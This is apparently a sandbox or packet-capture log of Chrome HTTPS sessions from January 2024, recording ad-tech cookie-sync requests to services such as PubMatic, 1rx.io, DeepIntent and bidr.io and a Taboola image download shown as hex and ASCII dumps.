427	192.168.2.4	50214	8.28.7.81	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:20 UTC	1720	OUT	GET /AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=75193254&p=0&s=0&a=0&ptask=ALL&np=0&fp=0&rp=1&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1 Host: image6.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; chkChromeAb67Sec=1; DPSync3=1704931200%3A248%7C1705449600%3A265%7C1706054400%3A201_263; SyncRTB3=1705449600%3A223%7C1706054400%3A104_54_250_71_165_166_220_21_13; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; SPugT=1704929238; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; PugT=1704929239
2024-01-10 23:27:20 UTC	952	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 P3p: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Set-Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; domain=pubmatic.com; path=/; max-age=31536000; SameSite=None; secure; Set-Cookie: chkChromeAb67Sec=2; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Set-Cookie: pi=0:4; domain=pubmatic.com; path=/; max-age=86400; SameSite=None; secure; Set-Cookie: DPSync3=1706054400%3A262_261_260_259_201_263%7C1704931200%3A248%7C1705449600%3A265; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Set-Cookie: SyncRTB3=1706054400%3A250_104_165_3_178_54_22_55_5_231_71_166_220_21_13_8%7C1705449600%3A223_2_15%7C1705708800%3A63; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Date: Wed, 10 Jan 2024 23:27:19 GMT Content-Length: 2044 Connection: close
2024-01-10 23:27:20 UTC	2044	IN	Data Raw: 50 75 62 4d 61 74 69 63 2e 6c 6f 61 64 41 73 79 6e 63 49 6d 61 67 65 50 69 78 65 6c 28 27 68 74 74 70 73 3a 2f 2f 74 68 72 74 6c 65 2e 63 6f 6d 2f 69 6e 73 79 6e 63 3f 76 78 69 69 5f 70 69 64 3d 31 30 30 36 37 26 76 78 69 69 5f 70 64 69 64 3d 41 46 31 41 33 30 42 30 2d 32 34 42 38 2d 34 37 36 45 2d 41 45 44 34 2d 42 45 38 44 43 41 46 41 34 31 43 34 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 27 29 3b 50 75 62 4d 61 74 69 63 2e 6c 6f 61 64 41 73 79 6e 63 49 6d 61 67 65 50 69 78 65 6c 28 27 68 74 74 70 73 3a 2f 2f 75 73 2d 75 2e 6f 70 65 6e 78 2e 6e 65 74 2f 77 2f 31 2e 30 2f 73 64 3f 69 64 3d 35 34 30 32 34 35 31 39 33 26 76 61 6c 3d 41 46 31 41 33 30 42 30 2d 32 34 42 38 2d 34 37 36 45 2d 41 45 44 34 2d 42 45 38 44 43 41 46 41 34 31 43 Data Ascii: PubMatic.loadAsyncImagePixel('https://thrtle.com/insync?vxii_pid=10067&vxii_pdid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://us-u.openx.net/w/1.0/sd?id=540245193&val=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
428	192.168.2.4	50222	69.194.240.13	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:20 UTC	981	OUT	GET /usersync/turn/8266606981038422920?dspret=1&gdpr=&gdpr_consent=&us_privacy= HTTP/1.1 Host: sync.1rx.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005%22%2C%22zdxidn%22%3A%222057.4%22%2C%22nxtrdr%22%3A%22https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3479308330180239000V10%26type%3Dr1%26refUrl%3D%26vid%3D49292354493479308330180239000V10%26axid_e%3D%26ovsid%3D%5BRX_UUID%5D%22%7D
2024-01-10 23:27:20 UTC	812	IN	HTTP/1.1 302 Found date: Wed, 10 Jan 2024 23:27:20 GMT content-type: text/html transfer-encoding: chunked cache-control: no-store, no-cache, must-revalidate expires: 0 pragma: no-cache set-cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005%22%7D; path=/; expires=Thu, 09 Jan 2025 23:27:20 GMT; domain=.1rx.io; samesite=none; secure; httponly p3p: CP="This is not a P3P policy! See https://www.rhythmone.com/p3p to learn why" location: https://sync.targeting.unrulymedia.com/csync/RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005?redir=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3479308330180239000V10%26type%3Dr1%26refUrl%3D%26vid%3D49292354493479308330180239000V10%26axid_e%3D%26ovsid%3DRX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005 connection: close
2024-01-10 23:27:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
429	192.168.2.4	50224	38.91.45.7	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:20 UTC	716	OUT	GET /usersync/141?gdpr=0&gdpr_consent= HTTP/1.1 Host: match.deepintent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:20 UTC	528	IN	HTTP/1.1 200 OK p3p: policyref='http://cdn.deepintent.com/p3p.xml', CP='NON CUR DEV TAI' set-cookie: CDIUSER=di_1673c61b98ba4fbcabc0c; Max-Age=47260800; SameSite=None; Expires=Thu, 10 Jul 2025 23:27:20 GMT; Domain=deepintent.com; Secure; Path=/ set-cookie: CDIPARTNERS=%7B%221%22%3A%2220240110%22%7D; Max-Age=47260800; SameSite=None; Expires=Thu, 10 Jul 2025 23:27:20 GMT; Domain=deepintent.com; Secure; Path=/ content-type: image/gif content-length: 0 date: Wed, 10 Jan 2024 23:27:20 GMT server: b connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
430	192.168.2.4	50228	52.87.108.188	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:20 UTC	909	OUT	GET /cookie-sync?gdpr=0&bee_sync_partners=sas%2Csyn%2Cpm&bee_sync_current_partner=pp&bee_sync_initiator=adx&bee_sync_hop_count=2&ev=AABsm07LPlAAABMLLoldYg&pid=558502&do=add&gdpr=0 HTTP/1.1 Host: match.prod.bidr.io Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: bito=AABsm07LPlAAABMLLoldYg; bitoIsSecure=ok
2024-01-10 23:27:21 UTC	641	IN	HTTP/1.1 303 See Other Date: Wed, 10 Jan 2024 23:27:21 GMT location: https://rtb-csync.smartadserver.com/redir?partneruserid=AABsm07LPlAAABMLLoldYg&partnerid=127&redirurl=https%3A%2F%2Fmatch.prod.bidr.io%2Fcookie-sync%3Fgdpr%3D0%26gdpr%3D0%26bee_sync_partners%3Dsyn%252Cpm%26bee_sync_current_partner%3Dsas%26bee_sync_initiator%3Dadx%26bee_sync_hop_count%3D3%26userid%3DSMART_USER_ID&gdpr=0 Server: gunicorn set-cookie: bito=AABsm07LPlAAABMLLoldYg; Domain=bidr.io; expires=Sat, 08 Feb 2025 18:27:21 GMT; Path=/; SameSite=None; Secure strict-transport-security: max-age=2592000; includeSubDomains Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
431	192.168.2.4	50229	151.101.1.44	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:20 UTC	851	OUT	GET /taboola/image/fetch/f_jpg%2Cq_auto%2Ch_627%2Cw_1200%2Cc_fill%2Cg_faces:auto%2Ce_sharpen/http%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%2F901b327bf2cb2296c935b2fa335542c9.jpg HTTP/1.1 Host: images.taboola.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: t_gid=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; t_pt_gid=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51
2024-01-10 23:27:21 UTC	1268	IN	HTTP/1.1 200 OK Connection: close Content-Length: 36348 Server: nginx Content-Type: image/webp access-control-allow-headers: X-Requested-With access-control-allow-origin: * cache-tag: 609022328791245387634678871092794487736,516087800394054678397225022194716394134,29ecf9b93bbf306179626feeda1fab70 edge-cache-tag: 609022328791245387634678871092794487736,516087800394054678397225022194716394134,29ecf9b93bbf306179626feeda1fab70 etag: "33262bbbd3a0372031794e7ca6ea2ff2" expiration: expiry-date="Sun, 04 Feb 2024 00:00:00 GMT", rule-id="delete fetch for taboola after 30 days" last-modified: Thu, 04 Jan 2024 12:23:45 GMT surrogate-reporting: width=1200,height=627,bytes=62319,owidth=4171,oheight=2665,obytes=3888869,ef=(1,13,17,23,30) timing-allow-origin: * x-ratelimit-limit: 101 x-ratelimit-remaining: 100 x-ratelimit-reset: 1 x-envoy-upstream-service-time: 1189 Cache-Control: public, max-age=31536000 Accept-Ranges: bytes Date: Wed, 10 Jan 2024 23:27:21 GMT Via: 1.1 varnish Age: 214027 X-Served-By: cache-iad-kjyo7100055-IAD, cache-iad-kiad7000105-IAD, cache-lax-kwhp1940064-LAX, cache-iad-kiad7000159-IAD X-Cache: Miss from cloudfront, MISS, MISS, MISS, HIT X-Cache-Hits: 0, 0, 0, 1 X-Timer: S1704929241.004927,VS0,VE9 Vary: ImageFormat
2024-01-10 23:27:21 UTC	218	IN	Data Raw: 58 2d 64 65 62 75 67 3a 20 2f 74 61 62 6f 6f 6c 61 2f 69 6d 61 67 65 2f 66 65 74 63 68 2f 66 5f 6a 70 67 25 32 43 71 5f 61 75 74 6f 25 32 43 68 5f 36 32 37 25 32 43 77 5f 31 32 30 30 25 32 43 63 5f 66 69 6c 6c 25 32 43 67 5f 66 61 63 65 73 3a 61 75 74 6f 25 32 43 65 5f 73 68 61 72 70 65 6e 2f 68 74 74 70 25 33 41 25 32 46 25 32 46 63 64 6e 2e 74 61 62 6f 6f 6c 61 2e 63 6f 6d 25 32 46 6c 69 62 74 72 63 25 32 46 73 74 61 74 69 63 25 32 46 74 68 75 6d 62 6e 61 69 6c 73 25 32 46 39 30 31 62 33 32 37 62 66 32 63 62 32 32 39 36 63 39 33 35 62 32 66 61 33 33 35 35 34 32 63 39 2e 6a 70 67 0d 0a 58 2d 76 63 6c 2d 74 69 6d 65 2d 6d 73 3a 20 39 0d 0a 0d 0a Data Ascii: X-debug: /taboola/image/fetch/f_jpg%2Cq_auto%2Ch_627%2Cw_1200%2Cc_fill%2Cg_faces:auto%2Ce_sharpen/http%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%2F901b327bf2cb2296c935b2fa335542c9.jpgX-vcl-time-ms: 9
2024-01-10 23:27:21 UTC	1378	IN	Data Raw: 52 49 46 46 f4 8d 00 00 57 45 42 50 56 50 38 58 0a 00 00 00 08 00 00 00 af 04 00 72 02 00 56 50 38 20 14 8d 00 00 90 af 03 9d 01 2a b0 04 73 02 3e 91 44 9d 4b a5 a3 b3 37 22 f1 ba 2a e0 12 09 67 6d df bb 8c d6 54 fc 8f 4e e3 79 61 1b ef 93 ad 5e 75 df f6 bc a6 b9 b7 f7 9f 0a 7f a5 f0 61 f4 ff f0 7e c0 bf ab be 97 1f e8 77 6b f8 3f f8 fe c0 9f d6 bf d1 f9 40 f3 43 f6 fb a7 df fd 5f 46 2a 41 ff c9 fb 97 e9 d7 f7 4f fb 78 17 8d fc 56 f1 de 38 5d 0f 7a 17 41 3f 68 ff 8b f7 ff b2 3f 51 9b 92 f9 d5 7d 6f 7f 92 df d9 e8 64 bd 3d f8 7f fe de f4 bf eb 7f f3 f2 2f db a7 eb b6 b2 cc 5f c0 77 5c fe 61 96 34 62 78 04 06 a7 33 af a5 da 25 36 41 79 1f 18 c0 b6 9e 40 ce 8b e6 d4 14 08 2e 80 1d ef 01 00 4f 2d bb ea 86 09 3b f2 ee e7 92 b4 23 46 86 68 1a 08 aa e1 c8 21 37 Data Ascii: RIFFWEBPVP8XrVP8 s>DK7"gmTNya^ua~wk?@C_F*AOxV8]zA?h?Q}od=/_w\a4bx3%6Ay@.O-;#Fh!7
2024-01-10 23:27:21 UTC	1378	IN	Data Raw: cd e7 ab ce 48 a2 00 f8 9a f5 85 7c f3 7f 3a 77 29 44 73 9a 64 7e 3e 94 21 21 63 15 00 bd 58 bc a7 8e 89 12 ce ac 4e 64 48 59 5b 64 15 5d e8 a5 4f e0 63 56 56 5e 0e 52 4c b9 ad ef b4 59 25 bf 7b eb 42 28 a0 c9 24 70 29 fe 8c 4e 1d d4 e5 71 68 8c 36 b1 54 1d e4 8e aa f6 fd 1d 88 5b 64 d8 bb 61 f4 e2 3d 36 9f 21 c8 1d c1 f0 2a 6a 73 fb c5 c9 5f d8 c0 f6 ab 98 4b 96 7c 15 4b 20 73 bf bf 4d e5 87 e2 23 99 60 ac 81 66 45 67 5c ae 01 47 d8 74 32 e2 e5 a5 9b f5 b7 cc 60 01 c2 59 81 80 3e ed 50 63 14 39 e0 1d c5 21 b5 29 37 4c 9f ea 4d 73 ea 66 e6 16 c1 5b 25 ff b6 c7 6f b5 a1 7a b7 ae d3 4f 53 20 24 8d 30 05 06 e7 86 40 7e 50 da a5 df f4 d9 3f 6c 3d 6d 41 49 ef f8 10 ff 2f c5 81 ad 33 3d 92 f9 75 d8 4f fd ca 13 94 8e 37 59 de 97 cd 12 40 99 be 74 02 44 96 c0 fb Data Ascii: H\|:w)Dsd~>!!cXNdHY[d]OcVV^RLY%{B($p)Nqh6T[da=6!*js_K\|K sM#`fEg\Gt2`Y>Pc9!)7LMsf[%ozOS $0@~P?l=mAI/3=uO7Y@tD
2024-01-10 23:27:21 UTC	1378	IN	Data Raw: ff 2f 7b 69 44 b9 7e 1a 13 dd 12 cd ae d7 79 81 38 35 3c 41 e0 fd 74 d4 cd 7e 7c 12 96 11 9a 2f 4b e0 ad 84 38 6b cf b3 05 6e eb 89 be ef 72 65 17 61 8f 94 96 66 86 16 b7 0f 2c a8 9b 66 9e 50 6a 84 98 65 74 57 89 37 94 f4 ae a1 e9 fb ca 4d 6d 29 d6 9e b5 bb ce 00 1a bd de 67 ca 54 d9 b9 e5 e3 d9 9b 99 25 81 b2 63 30 51 1c e8 47 23 23 80 de f9 d6 c1 88 17 7d 7a 74 5e e9 ba d3 9a 46 36 1b e1 eb 02 e0 57 f6 e3 74 8a db 70 e4 b3 37 aa 34 f1 ab fa c4 08 6d 65 a5 89 9b 52 b3 d6 80 88 23 2d 1b 6b 48 55 b4 2e fb 0c 91 26 34 06 a8 0a 88 34 b8 00 07 f7 ca 0b ae d7 f2 ed d8 7c 65 ed d7 08 0e ed 0b 22 9d 2f e2 9d 2e f6 ce 99 c3 52 57 74 cf 6d 5c 0e d6 65 ab 6f 37 d0 21 eb c6 64 58 87 1d 70 42 ce 4a ac e5 89 25 71 b1 6f 8a 03 fe ad 11 1b 7a 80 a0 ba 8b 67 ba fc ea 6c Data Ascii: /{iD~y85<At~\|/K8knreaf,fPjetW7Mm)gT%c0QG##}zt^F6Wtp74meR#-kHU.&44\|e"/.RWtm\eo7!dXpBJ%qozgl
2024-01-10 23:27:21 UTC	1378	IN	Data Raw: af c9 c2 a3 45 63 77 5d ef 15 ad fd 0f 82 db 47 95 c0 69 5f 94 7f 16 3d ad 2c e2 4f 76 0e 3b bc 68 8f 91 45 43 22 73 02 44 34 08 fe 3f 46 e5 b7 a8 ee ad b7 de ca bb 7e d4 10 6a d0 2b ba b0 36 57 cb d8 72 63 15 8d 1d 7d c1 4d 0b c3 f9 1c 47 5c 48 03 12 21 ba 43 bc 9c 0e f3 91 82 48 f9 5d 88 38 a7 f1 63 5b d3 be f1 0d fe 89 17 95 75 93 26 cc f9 b7 9d 97 d2 57 e5 55 bf a9 4e d3 af a7 94 46 d1 21 56 03 68 37 80 0b 45 5b 17 6b f9 39 96 9c 4e 8d e2 8b 20 84 39 46 fd ce 61 56 a9 2b 24 54 90 6b 67 d2 f4 32 46 53 58 4e 88 5a 7c 0b 2d 3b c6 3b cb de 96 39 f1 c1 82 cf c4 91 f9 28 56 64 1f f3 ef e9 80 a3 71 ea a5 65 da 11 c9 0a d7 73 29 f0 69 fd b7 bb d4 9b 9e 9f 08 c5 89 24 c4 59 15 4b d6 6c b9 3d ac cd 17 96 8f 47 c3 63 ca 3f 2c da 60 f6 05 67 40 d6 f2 87 63 2a e0 Data Ascii: Ecw]Gi_=,Ov;hEC"sD4?F~j+6Wrc}MG\H!CH]8c[u&WUNF!Vh7E[k9N 9FaV+$Tkg2FSXNZ\|-;;9(Vdqes)i$YKl=Gc?,`g@c*
2024-01-10 23:27:21 UTC	1378	IN	Data Raw: ae f2 a7 f6 cf 89 ce 47 e5 ec e9 ac 36 b6 08 72 20 63 37 07 f3 1c f4 ba d3 fc 5a 4f f4 50 69 c7 00 72 70 29 de e4 00 9d 23 96 7e 64 21 41 9a 78 ce d8 1e 19 b5 7e 13 1f 07 c3 9a 6f 43 17 17 bb ab 82 d7 43 5e b2 83 18 b0 48 c6 c8 3b 58 ab 3f d1 76 aa d3 3b 1e ed 04 5e 49 93 53 3c 75 c4 83 6e 1d 8e 02 15 f3 55 ac 9e ba 93 03 ee c8 af 02 69 6f ea d5 ac ac 95 11 84 79 14 93 56 ac ec a5 c5 13 d9 25 20 a8 e0 00 95 bc 89 8d a2 93 6d 13 a8 c4 0a e7 0d a2 7f 07 da 68 16 38 12 f5 3e 68 b9 32 67 18 ca 10 f8 4b eb ca 23 bd 34 b2 e1 29 f6 fb d5 93 b5 28 d2 ed 1f ae 6e ac fd 21 8d 7a 33 27 d8 9b 94 e2 07 3f 22 f1 c7 ea 06 a4 4b 76 fb b2 08 9c 4c 40 51 93 9c 77 7b 85 89 76 ea 67 c4 81 a9 7c 5c a7 0f 44 ff 16 cf 72 d3 ca a9 34 f0 a6 55 ad e0 77 ef fa 08 dd ce 5e 85 f0 47 Data Ascii: G6r c7ZOPirp)#~d!Ax~oCC^H;X?v;^IS<unUioyV% mh8>h2gK#4)(n!z3'?"KvL@Qw{vg\|\Dr4Uw^G
2024-01-10 23:27:21 UTC	1378	IN	Data Raw: 6f d8 9d b6 9e 24 77 99 35 55 98 60 5c b0 75 80 d7 60 89 0f 9c 23 a3 b4 2c de 56 01 5e 82 41 8c 6d 4a 75 83 70 a8 d3 6c e3 f3 d5 c5 5a ee 3e 01 b7 ae aa a2 df 51 f7 03 db 2c 56 9b e2 e1 82 dc d9 dc 5d b4 f5 56 2b d1 26 0c b2 55 87 7e db 08 c3 62 18 1c 49 3e 54 82 6d 95 c5 d8 65 48 32 a9 c2 76 cd 5d 3a 25 9e 3f 8b 32 a0 47 df a2 41 7f 5f a8 ee 67 23 87 cd 8e 34 18 1c d8 02 6d d5 c3 8e 8c 74 7e f3 d1 69 8e 63 6b 4e 3a 67 a5 6f dc c8 c0 93 b6 e9 6b 22 c7 78 9c 92 5f 7d 6e 50 1b b1 77 fa 33 3a 41 b7 bd 9a 6c f3 3d f0 f6 90 c7 f1 ba de 22 46 ca a4 e1 bd 59 84 41 39 50 12 fc 8c 46 ec 5c 93 71 b4 ac d6 2b ed e2 97 2d 69 c3 8c 3a b2 9c a0 d3 5a e1 7e 35 8e 17 cb b6 42 50 49 75 76 9e 09 18 b1 f0 a1 dc 6a 87 53 20 a8 4c 77 8f 37 c2 f2 b1 6c 47 52 35 07 84 ab 3e 7c Data Ascii: o$w5U`\u`#,V^AmJuplZ>Q,V]V+&U~bI>TmeH2v]:%?2GA_g#4mt~ickN:gok"x_}nPw3:Al="FYA9PF\q+-i:Z~5BPIuvjS Lw7lGR5>\|
2024-01-10 23:27:21 UTC	1378	IN	Data Raw: 9f 46 d7 3f af d9 8d 42 1b 8c 62 cc 96 bb aa 73 f3 17 9e e3 05 24 db cd 8e bf e4 a8 29 86 8a 07 7b cf c2 10 9c 48 ff f1 ce 14 48 06 1a a7 20 d3 b4 0a 0c 81 22 c5 38 e7 11 48 bd 85 3c 10 10 ac e8 72 5b 0e 59 b1 4d fb 7b df ea 95 15 e4 f4 09 2e 13 1c c5 04 cb 98 63 49 61 a6 08 3a 28 03 52 61 af 3b 23 7b 7d 22 b1 0a 44 24 f8 26 a7 f2 54 f4 19 db 16 b0 96 da 92 7d 12 21 0d a8 78 0c a6 75 43 ea db 86 f7 7d 6d 32 c8 eb 8e 2a b8 e4 c4 fd cc 16 71 95 2d b9 76 a0 ff d9 e8 29 5b 51 2c ec 38 60 eb 22 26 e8 c5 76 f2 27 4f bc 95 b0 1a cf 9a 4c 46 3e 02 33 07 42 a5 b7 8a 53 40 7e 4b c2 09 f3 65 42 82 e2 2b 74 8c f6 fb dd 4b b8 a0 84 02 0f 70 e2 92 81 c3 b7 0d dd 62 20 a5 58 c4 0c 60 02 16 f6 b2 2b 8f 47 e7 91 13 b8 4c 48 5f 43 51 e4 38 96 11 66 05 53 c4 ad 1a cf aa f2 Data Ascii: F?Bbs$){HH "8H<r[YM{.cIa:(Ra;#{}"D$&T}!xuC}m2*q-v)[Q,8`"&v'OLF>3BS@~KeB+tKpb X`+GLH_CQ8fS
2024-01-10 23:27:21 UTC	1378	IN	Data Raw: 7d b4 19 30 db 37 2f 02 4d 03 f1 f8 c3 68 b2 51 8f 63 2b 6c 3b 5f e8 84 aa 1a b7 07 a9 14 08 86 08 51 5d 46 aa 0d 64 75 9b e9 e9 7c de b5 13 2b da 5d 26 b8 2c 6a 06 c9 e9 21 65 ff 77 79 19 d5 0a 8a f4 12 9e 25 86 4c 12 67 7a 77 d3 d9 c8 8d 52 55 09 97 1e 36 6b 8c 41 0f c5 03 d6 72 52 8d 2b 82 78 ef 94 13 e6 7f 71 57 52 c5 f6 ac a1 6e 1c f9 62 87 56 bc 56 c1 c9 08 1d 50 82 4a 92 17 3b f5 df 3e 66 10 bb 82 44 9b eb c3 09 e8 87 62 87 c8 d9 45 7d 23 52 7b 78 61 e7 0b 0a c0 bb ec 3b 00 7d d8 9a 9d 3c 57 46 6e 77 a4 bd f7 1c 0e 1e cc d3 c3 66 9f b0 fe f8 99 c1 01 1b c3 ba 70 82 35 48 75 d2 74 9e 8a a3 0b bb da 4e 0a 77 7d b1 f4 58 e6 fe 47 7f 5c eb d0 98 95 d1 a1 d6 c0 e7 75 5a 37 bb 64 8b ed c8 17 11 b2 f0 f0 92 35 be 33 d0 77 18 e2 cf 4d 02 5a 09 d0 08 d7 a2 Data Ascii: }07/MhQc+l;_Q]Fdu\|+]&,j!ewy%LgzwRU6kArR+xqWRnbVVPJ;>fDbE}#R{xa;}<WFnwfp5HutNw}XG\uZ7d53wMZ
2024-01-10 23:27:21 UTC	1378	IN	Data Raw: 22 1b 97 84 5d e0 c7 ab 89 1e 54 d4 87 22 fc e5 83 89 c5 ba b5 d5 7a 4a b0 81 47 18 ed 47 8f 39 d6 ab 62 90 4e 32 83 25 3c 7b e2 fd 02 94 aa 0e af 75 a4 bb e8 e6 73 6a 44 bb 57 02 07 7c 29 b0 0a 05 95 92 c6 4d b7 99 ad c5 2c 8c 24 89 4b fb 67 4b 85 60 9c 2f c0 5d a9 2b bc c3 5e b7 7d b0 f5 10 a2 f8 7e 3b 31 82 91 ea 9a 58 3e 54 d9 c2 3f 05 bf ab 36 7d d0 da 8d b0 20 a6 2a 81 ba 1a 7e 8b 47 c9 dc cb 7d d8 27 18 14 83 25 b6 6d db 63 5d d3 95 36 1b fa 58 0e 2c 77 a8 5d 75 58 a9 d5 d0 4b f3 6b 4a 7a b0 6e 3a 81 78 16 d7 da 01 bc d2 7b 27 e2 32 57 97 4a 70 c8 e8 8e 02 ba 67 92 03 8d 07 d4 93 9c cd 7a 12 2e cc 24 37 eb aa 1a 81 5c 76 8a 19 c8 54 cc 0b 03 f1 1e 20 79 e3 2f 6a 50 c7 59 36 a4 ac e6 ea 49 74 b7 60 09 b6 1c 1f 5b c8 59 40 2c 56 f6 6f 1b 60 d5 35 99 Data Ascii: "]T"zJGG9bN2%<{usjDW\|)M,$KgK`/]+^}~;1X>T?6} *~G}'%mc]6X,w]uXKkJzn:x{'2WJpgz.$7\vT y/jPY6It`[Y@,Vo`5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
432	192.168.2.4	50226	3.91.137.4	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
